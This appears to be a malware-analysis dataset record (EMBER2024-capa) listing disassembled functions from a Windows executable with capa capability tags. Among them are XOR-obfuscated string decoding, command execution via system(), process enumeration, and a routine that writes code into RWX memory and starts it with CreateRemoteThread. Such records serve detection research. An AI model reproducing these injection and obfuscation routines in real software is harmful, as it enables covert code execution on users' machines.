joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140026b20
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r14
mov qword [rsp + 0x20], r15
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x14011f060]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov edi, dword [0x140128380]
xor edx, edx
cmp ecx, 0x7b
ja 0x140026b6a
movsxd rax, ecx
lea rdx, [0x1401268d0]
mov rdx, qword [rdx + rax*8]
mov qword [rbp + 7], 0
movdqa xmm0, xmmword [0x14010abe0]
movdqu xmmword [rbp + 0x17], xmm0
mov byte [rbp + 7], 0
movabs r15, 0x69e2d9335502b719
movabs r14, 0x8fbdb4b62b167486
mov rbx, 0xffffffffffffffff
mov r8, rbx
test rdx, rdx
jne 0x140026c10
movabs rax, 0x22c2ad50306ed24a
mov qword [rbp - 0x29], rax
mov rax, qword [rbp - 0x29]
mov qword [rbp - 0x19], rax
movabs rax, 0x8fbdb4b62b160de3
mov qword [rbp - 0x29], rax
mov rax, qword [rbp - 0x29]
mov qword [rbp - 0x11], rax
mov qword [rbp - 0x29], r15
mov rax, qword [rbp - 0x29]
mov qword [rbp + 0x27], rax
mov qword [rbp - 0x29], r14
mov rax, qword [rbp - 0x29]
mov qword [rbp + 0x2f], rax
movdqa xmm0, xmmword [rbp - 0x19]
pxor xmm0, xmmword [rbp + 0x27]
movdqa xmmword [rbp - 0x19], xmm0
lea rax, [rbp - 0x19]
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140026c00
lea rdx, [rbp - 0x19]
jmp 0x140026c1a
inc r8
cmp byte [rdx + r8], 0
jne 0x140026c10
lea rcx, [rbp + 7]
call fcn.140007a00
cmp edi, 1
jne 0x140026c8e
movabs rax, 0x69e2d933316cde7b
mov qword [rbp - 0x29], rax
mov rax, qword [rbp - 0x29]
mov qword [rbp - 9], rax
mov qword [rbp - 0x29], r14
mov rax, qword [rbp - 0x29]
mov qword [rbp - 1], rax
mov qword [rbp - 0x29], r15
mov rax, qword [rbp - 0x29]
mov qword [rbp + 0x37], rax
mov qword [rbp - 0x29], r14
mov rax, qword [rbp - 0x29]
mov qword [rbp + 0x3f], rax
movdqa xmm0, xmmword [rbp - 9]
pxor xmm0, xmmword [rbp + 0x37]
movdqa xmmword [rbp - 9], xmm0
lea rax, [rbp - 9]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140026c75
mov r8, rbx
lea rdx, [rbp - 9]
lea rcx, [rbp + 7]
call fcn.140007a00
movss xmm0, dword [0x14010a968]
movss dword [rbp - 0x21], xmm0
movss xmm1, dword [0x14010a900]
movss dword [rbp - 0x1d], xmm1
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rcx, qword [rbp + 7]
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x21]
call fcn.140071360
test al, al
je 0x140026cef
test edi, edi
jne 0x140026cef
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140026ad0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rcx, [rbp + 7]
call fcn.140007980
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400e2360
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140026d80
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r14
mov qword [rsp + 0x20], r15
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x14011f060]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov edi, dword [0x14012837c]
xor edx, edx
cmp ecx, 0x7b
ja 0x140026dca
movsxd rax, ecx
lea rdx, [0x140126cb0]
mov rdx, qword [rdx + rax*8]
mov qword [rbp + 7], 0
movdqa xmm0, xmmword [0x14010abe0]
movdqu xmmword [rbp + 0x17], xmm0
mov byte [rbp + 7], 0
movabs r15, 0x69e2d9335502b719
movabs r14, 0x8fbdb4b62b167486
mov rbx, 0xffffffffffffffff
mov r8, rbx
test rdx, rdx
jne 0x140026e70
movabs rax, 0x22c2ad50306ed24a
mov qword [rbp - 0x29], rax
mov rax, qword [rbp - 0x29]
mov qword [rbp - 0x19], rax
movabs rax, 0x8fbdb4b62b160de3
mov qword [rbp - 0x29], rax
mov rax, qword [rbp - 0x29]
mov qword [rbp - 0x11], rax
mov qword [rbp - 0x29], r15
mov rax, qword [rbp - 0x29]
mov qword [rbp + 0x27], rax
mov qword [rbp - 0x29], r14
mov rax, qword [rbp - 0x29]
mov qword [rbp + 0x2f], rax
movdqa xmm0, xmmword [rbp - 0x19]
pxor xmm0, xmmword [rbp + 0x27]
movdqa xmmword [rbp - 0x19], xmm0
lea rax, [rbp - 0x19]
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140026e60
lea rdx, [rbp - 0x19]
jmp 0x140026e7a
inc r8
cmp byte [rdx + r8], 0
jne 0x140026e70
lea rcx, [rbp + 7]
call fcn.140007a00
cmp edi, 1
jne 0x140026eee
movabs rax, 0x69e2d933316cde7b
mov qword [rbp - 0x29], rax
mov rax, qword [rbp - 0x29]
mov qword [rbp - 9], rax
mov qword [rbp - 0x29], r14
mov rax, qword [rbp - 0x29]
mov qword [rbp - 1], rax
mov qword [rbp - 0x29], r15
mov rax, qword [rbp - 0x29]
mov qword [rbp + 0x37], rax
mov qword [rbp - 0x29], r14
mov rax, qword [rbp - 0x29]
mov qword [rbp + 0x3f], rax
movdqa xmm0, xmmword [rbp - 9]
pxor xmm0, xmmword [rbp + 0x37]
movdqa xmmword [rbp - 9], xmm0
lea rax, [rbp - 9]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140026ed5
mov r8, rbx
lea rdx, [rbp - 9]
lea rcx, [rbp + 7]
call fcn.140007a00
movss xmm0, dword [0x14010a968]
movss dword [rbp - 0x21], xmm0
movss xmm1, dword [0x14010a900]
movss dword [rbp - 0x1d], xmm1
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rcx, qword [rbp + 7]
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x21]
call fcn.140071360
test al, al
je 0x140026f4f
test edi, edi
jne 0x140026f4f
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x140026d30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rcx, [rbp + 7]
call fcn.140007980
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400e2360
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14002eb70
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x1a0
mov rax, qword [0x14011f060]
xor rax, rsp
mov qword [rsp + 0x198], rax
mov rbp, rcx
lea rcx, [0x1400f8e88]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rax
test rax, rax
je 0x14002ed23
movups xmm1, xmmword [rax + 0x30]
mov ebx, 2
mov r8d, ebx
psrldq xmm1, 0xc
movd eax, xmm1
movsxd rcx, eax
lea rax, [rsp + 0x80]
add rcx, rdx
nop dword [rax]
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub r8, 1
jne 0x14002ebe0
mov rcx, qword [rcx]
mov qword [rax], rcx
mov edi, dword [rsp + 0xd0]
add rdi, 0xfffffffffffffc00
add rdi, rdx
je 0x14002ed23
lea r9, [rsp + 0x190]
mov qword [rsp + 0x1b0], rsi
mov edx, 0x100
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x14002eb50]
mov rdx, rdi
mov rsi, rax
mov qword [rax], rbp
xor ebp, ebp
mov qword [rax + 8], rbp
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x14002eca1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x30], rbp
mov r9, rdi
mov rcx, rax
mov dword [rsp + 0x28], ebp
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, qword [rsp + 0x1b0]
jmp 0x14002ed25
xor eax, eax
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.1400e2360
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14002ed50
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0xa0
mov rax, qword [0x14011f060]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rdx
mov r8, rcx
lea rdx, [0x140128440]
lea rcx, [rsp + 0x40]
call fcn.140040510
nop
lea rdx, [0x140128460]
cmp qword [0x140128478], 0x10
cmovae rdx, qword [0x140128460]
mov r8, qword [0x140128470]
mov rcx, rax
call fcn.14000e5e0
mov qword [rsp + 0x20], 0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14002edfd
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rsp + 0x20]
call fcn.14000e5e0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x80], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x20]
call fcn.140007980
nop
lea rcx, [rsp + 0x40]
call fcn.140007980
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0x10
cmovae rcx, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14010748c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x70]
call fcn.140007980
nop
mov rcx, rdi
call fcn.140007980
nop
mov rcx, rbx
call fcn.140007980
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400e2360
mov rbx, qword [rsp + 0xc0]
add rsp, 0xa0
pop rdi
ret
Function at 0x1400313a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x160
mov rax, qword [0x14011f060]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov dword [rsp + 0x20], 0x130
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x1400313ed
mov rcx, rdi
call fcn.140007980
xor eax, eax
jmp 0x1400314ee
mov qword [rsp + 0x178], rbx
lea rdx, [rsp + 0x20]
mov rcx, rbp
mov qword [rsp + 0x180], rsi
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rax, [rsp + 0x4c]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140031417
cmp qword [rdi + 0x18], 0x10
mov rcx, rdi
mov rsi, qword [rdi + 0x10]
jb 0x140031431
mov rcx, qword [rdi]
cmp rbx, rsi
lea rdx, [rsp + 0x4c]
mov r8, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140031454
cmp rsi, rbx
jb 0x140031454
jbe 0x14003150f
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400314cb
nop word [rax + rax]
lea rax, [rsp + 0x4c]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140031480
cmp qword [rdi + 0x18], 0x10
mov rcx, rdi
mov rsi, qword [rdi + 0x10]
jb 0x14003149a
mov rcx, qword [rdi]
cmp rbx, rsi
lea rdx, [rsp + 0x4c]
mov r8, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400314b9
cmp rsi, rbx
jb 0x1400314b9
jbe 0x14003150f
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140031470
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140007980
xor eax, eax
mov rbx, qword [rsp + 0x178]
mov rsi, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400e2360
mov rbp, qword [rsp + 0x188]
add rsp, 0x160
pop rdi
ret
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rsp + 0x28]
mov rcx, rdi
call fcn.140007980
mov eax, ebx
jmp 0x1400314de
Function at 0x1400344c0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x14011f060]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov r8d, 0x104
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400346c8
mov r8d, 0x104
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x1400346c8
movabs rax, 0x69c2b5563122d436
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x40]
mov rax, qword [rsp + 0x30]
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x40], rax
movabs rbx, 0x69e2d9335502b719
mov qword [rsp + 0x2e8], rdi
movabs rdi, 0x8fbdb4b62b167486
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x78], rax
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
movabs rax, 0x69ae8c7d753c8939
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0xb0]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rsp + 0x50]
mov qword [rbp - 0x78], rax
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_lstrcatA]
movabs rax, 0x6981bc43066fd85a
lea rdx, [rbp - 0x60]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x60]
mov rax, qword [rsp + 0x30]
mov r8d, 0x104
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x70], rax
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rsp + 0x60]
mov qword [rbp - 0x68], rax
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov rdi, qword [rsp + 0x2e8]
mov rbx, qword [rsp + 0x2e0]
test eax, eax
je 0x1400346c8
xor eax, eax
lea r9, [rbp + 0xb0]
mov dword [rsp + 0x28], eax
lea r8, [rbp - 0x60]
xor edx, edx
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x1400346c8
mov eax, 1
jmp 0x1400346ca
xor eax, eax
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.1400e2360
add rsp, 0x2d0
pop rbp
ret
Function at 0x140034ba0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
mov eax, 0x13d0
call fcn.1400e2fd0
sub rsp, rax
mov rax, qword [0x14011f060]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
mov rsi, rcx
mov qword [rsp + 0x20], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rsp + 0x34], eax
mov eax, 1
mov dword [rsp + 0x13b4], 0xffffffff
nop dword [rax]
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [rsp + rax*4 + 0x34], edx
inc rax
cmp rax, 0x270
jb 0x140034bf0
mov rbx, qword [0x1401284c8]
sub rbx, qword [0x1401284c0]
sar rbx, 5
dec ebx
mov dword [rsp + 0x30], 0x270
cmp ebx, 0xffffffff
jne 0x140034c3d
lea rcx, [rsp + 0x30]
call fcn.140041fd0
mov edx, eax
jmp 0x140034c93
mov qword [rsp + 0x13e8], rdi
lea edi, [rbx + 1]
nop dword [rax + rax]
xor r8d, r8d
xor eax, eax
test ebx, ebx
je 0x140034c6b
lea rcx, [rsp + 0x30]
call fcn.140041fd0
mov r8d, eax
mov eax, 0xffffffff
xor edx, edx
div edi
mov ecx, eax
mov r9d, edx
xor edx, edx
mov eax, r8d
div edi
cmp eax, ecx
jb 0x140034c84
cmp r9d, ebx
jne 0x140034c50
xor edx, edx
mov eax, r8d
div edi
mov rdi, qword [rsp + 0x13e8]
movsxd rdx, edx
mov rcx, rsi
shl rdx, 5
add rdx, qword [0x1401284c0]
call fcn.14000e430
mov rax, rsi
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400e2360
mov rbx, qword [rsp + 0x13f0]
add rsp, 0x13d0
pop rsi
ret

Function at 0x140034cd0
Capabilities:
Get session user name

Disassembly:
push rbx
sub rsp, 0x150
mov rax, qword [0x14011f060]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x20], rcx
lea rdx, [rsp + 0x20]
mov rbx, rcx
mov dword [rsp + 0x20], 0x101
lea rcx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x140034d51
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_username.
call fcn.14000baf0
lea rdx, [0x14000bce0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx], rax
lea rdx, [0x140106b80]
mov qword [rbx + 0x10], rax
xor r8d, r8d
mov byte [rbx], al
jmp 0x140034d7f
xor eax, eax
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx], rax
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x10], rax
mov byte [rbx], al
lea rax, [rsp + 0x30]
inc r8
cmp byte [rax + r8], 0
jne 0x140034d70
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140007a00
mov rax, rbx
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400e2360
add rsp, 0x150
pop rbx
ret
Function at 0x140041840
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14011f060]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.1400e2620
mov qword [rax], rbx
mov qword [rsp + 0x30], rax
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140042790]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x1400418b6
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400e2360
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x140041fd0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x140042031
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x140041ff0
mov ecx, dword [r10]
jmp 0x14004211a
cmp ecx, 0x4e0
jb 0x14004211a
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x140042050
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x1400420a0
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140044810
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14004486d
lea rbx, [0x140101af0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140044854
cmp r10, 2
jb 0x140044854
cmp byte [r9], r8b
jne 0x140044854
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140044830
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1400448af
lea rbx, [0x140101af0]
cmp r8b, 0x23
jne 0x140044893
cmp byte [r9], r8b
jne 0x140044893
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140044880
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140044a10
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x140044a2a
mov qword [r8], 0
lea rdx, [0x140108c30]
call fcn.1400448c0
mov rbx, rax
test rax, rax
jne 0x140044a4a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140044b35
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140044b35
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140044b35
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140044b35
cmp rdi, 0xffffffffffffffff
je 0x140044b35
mov rax, qword [0x140128418]
test rax, rax
je 0x140044ac6
inc dword [rax + 0xf4]
mov rdx, qword [0x140128410]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
test rax, rax
je 0x140044b35
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140044b22
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140128418]
test rax, rax
je 0x140044b11
dec dword [rax + 0xf4]
mov rdx, qword [0x140128410]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
jmp 0x140044b3e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140044b30
mov qword [r14], rdi
mov rax, rsi
jmp 0x140044b40
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret